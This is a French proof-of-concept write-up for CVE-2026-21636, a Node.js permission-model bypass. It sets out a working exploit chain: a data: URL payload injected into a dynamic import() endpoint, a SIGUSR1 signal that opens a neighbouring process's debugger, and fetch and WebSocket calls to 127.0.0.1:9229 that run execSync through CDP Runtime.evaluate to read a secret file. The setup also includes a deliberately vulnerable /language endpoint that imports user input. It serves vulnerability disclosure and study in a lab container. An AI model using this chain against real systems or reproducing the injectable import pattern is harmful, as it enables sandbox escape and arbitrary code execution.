
Preuve de concept démontrant un contournement du modèle de permissions de Node.js (CVE-2026-21636) qui permet un accès réseau via undici/fetch vers des services locaux, permettant l'exécution de code arbitraire via CDP.
Le modèle de permissions de Node.js (--permission) est conçu pour isoler un processus en restreignant l'accès au système de fichiers, aux processus enfants, aux workers et au réseau. CVE-2026-21636 révèle que les connexions établies via undici/fetch (et net/tls) vers des sockets Unix Domain et des adresses TCP locales contournent complètement la protection réseau, même lorsque --allow-net est absent.
Concerné : Node.js v25 (les permissions réseau sont encore expérimentales au moment de la divulgation).
Ce PoC reproduit le concept sur v22 où le même contournement est observable.
Un attaquant capable d'injecter du JavaScript arbitraire dans un processus exécuté sous --permission (mais sans --allow-net ni --allow-child-process) peut :
Deux processus s'exécutent côte à côte dans le conteneur sous supervisord :
target.cjs écrit son propre PID dans /tmp/target.pid au démarrage, puis boucle indéfiniment (processus victime inactif). server.mjs expose un serveur Express sur :8000 avec un endpoint /pid et un endpoint vulnérable /language.
/app/secret.txt appartient à app (chmod 444). Les deux processus peuvent y accéder au niveau du système d'exploitation. L'exploit ne repose pas sur une barrière de permissions de fichiers — il démontre que server.mjs, malgré l'absence de --allow-net, peut atteindre 127.0.0.1:9229 via fetch()/WebSocket et exécuter du code arbitraire dans le processus target.cjs non sandboxé. La lecture de secret.txt via CDP est la preuve de cette exécution de code.
Note : ce que ce PoC démontre réellement
Parce que
server.mjss'exécute déjà avec--allow-fs-read=/, lire/app/secret.txtdirectement depuis le processus sandboxé est trivialement possible en utilisant uniquement l'injection JS (étape 1) :import { readFileSync } from 'fs'; export default { secret: readFileSync('/app/secret.txt', 'utf8') };La lecture du système de fichiers n'est pas l'objet de ce PoC. L'objectif est de démontrer CVE-2026-21636 : malgré l'absence de
--allow-net,fetch()(undici) peut établir une connexion TCP vers127.0.0.1:9229, contournant entièrement la protection réseau du modèle de permissions. L'exploit utilise ce contournement pour pivoter vers le processustarget.cjsentièrement non sandboxé via CDP et atteindre l'exécution de code arbitraire en dehors du sandbox ; ce qu'aucune quantité de--allow-fs-readne permettrait.
POST /languageCette section est hors du périmètre du PoC.
// server.mjs
app.post('/language', async (req, res) => {
const requested = req.body?.lang ?? 'fr';
res.json(await import(requested + '/index.js'));
});
Le serveur effectue un import() dynamique sur une chaîne contrôlée par l'utilisateur. Le import() de Node.js prend nativement en charge le schéma d'URL data: :
data:text/javascript,<JS encodé en pourcentage>
Le suffixe /index.js ajouté par le serveur est neutralisé en ajoutant // à la fin de la charge utile (traité comme un commentaire d'URL / fragment de chemin ignoré).
Cela permet l'exécution de JavaScript arbitraire dans le processus sandboxé - le point d'entrée pour abuser de CVE-2026-21636.
Le serveur démarre avec :
node --permission --allow-fs-read=/ /app/server.mjs
L'intention : même si un attaquant exécute du code dans server.mjs, il ne peut pas atteindre le réseau, lancer des processus ou accéder à l'inspecteur.
CVE-2026-21636 brise la frontière --allow-net.
GET /pid → { "pid": <N> }
target.cjs écrit son propre PID dans /tmp/target.pid au démarrage. Le serveur l'expose. Cela identifie le processus victime qui sera utilisé comme relais CDP.
Cela pourrait aussi être fait en injectant du JS dans le point d'entrée ; pour simplifier, j'ai simplement créé l'endpoint /pid.
target.cjs via SIGUSR1Charge utile injectée via POST /language (sous forme d'URL data:) :
process.kill(<pid>, 'SIGUSR1');
export default { signal: 'SIGUSR1', sent_to: <pid> };
Lorsqu'un processus Node.js reçoit SIGUSR1, il démarre (ou reprend) son débogueur V8/CDP et commence à écouter sur :
127.0.0.1:9229
Parce que target.cjs s'exécute sans --permission, son inspecteur est entièrement privilégié - il peut évaluer n'importe quelle expression, y compris require('child_process').execSync(...).
L'envoi de signaux (process.kill) n'est pas contrôlé par le modèle de permissions, donc cette étape réussit depuis l'intérieur du sandbox.
Deuxième charge utile injectée via POST /language :
// récupère la liste des cibles débogables depuis l'API HTTP de l'inspecteur
const [{ id }] = await (await fetch('http://127.0.0.1:9229/json')).json();
// puis ouvre un WebSocket vers l'endpoint CDP de target.cjs
const result = await new Promise(resolve => {
const ws = new WebSocket(`ws://127.0.0.1:9229/${id}`);
ws.onopen = () => ws.send(JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: {
expression: `process.mainModule.require('child_process')
.execSync('cat /app/secret.txt').toString()`,
returnByValue: true
}
}));
ws.onmessage = ({ data }) => { ws.close(); resolve(JSON.parse(data)); };
});
export default result;
Pourquoi cela fonctionne malgré l'absence de --allow-net :
fetch() dans Node.js est implémenté par undici. CVE-2026-21636 montre que le chemin de connexion d'undici pour http://127.0.0.1:... (et les options socketPath UDS) ne passe pas par la vérification réseau du modèle de permissions. Le sandbox croit qu'aucun accès réseau sortant n'a été effectué, pourtant la connexion TCP vers :9229 réussit.
L'appel CDP Runtime.evaluate s'exécute dans le processus target.cjs non sandboxé, donc require('child_process') est disponible et execSync fonctionne librement.
attaquant (script Python)
│
├─[1]─ GET /pid → pid = N
│
├─[2]─ POST /language data:js SIGUSR1 → l'inspecteur de target.cjs démarre sur :9229
│
└─[3]─ POST /language data:js fetch+WS → CDP Runtime.evaluate → cat /app/secret.txt
↑
Contournement CVE-2026-21636 ici
(fetch vers 127.0.0.1 sans --allow-net)
# Construire et démarrer l'environnement
docker compose up --build -d
# Exécuter l'exploit
python3 exploit.py
Sortie attendue :
TARGET PID : 42
Response step 2 : {'signal': 'SIGUSR1', 'sent_to': 42}
SECRET : this_is_a_secret!
| Processus | Utilisateur | Flags | Capacités |
|---|
target.cjs | app | aucun | API Node.js complète, sans sandbox |
server.mjs | app | --permission --allow-fs-read=/ | Lecture FS complète — pas de net, pas de child_process, pas de worker |
| Permission | Statut |
|---|
--allow-fs-read=/ | accordée (lecture complète) |
--allow-fs-write | refusée |
--allow-net | refusée (expérimentale, non définie) |
--allow-child-process | refusée |
--allow-worker | refusée |
--allow-inspector | refusée |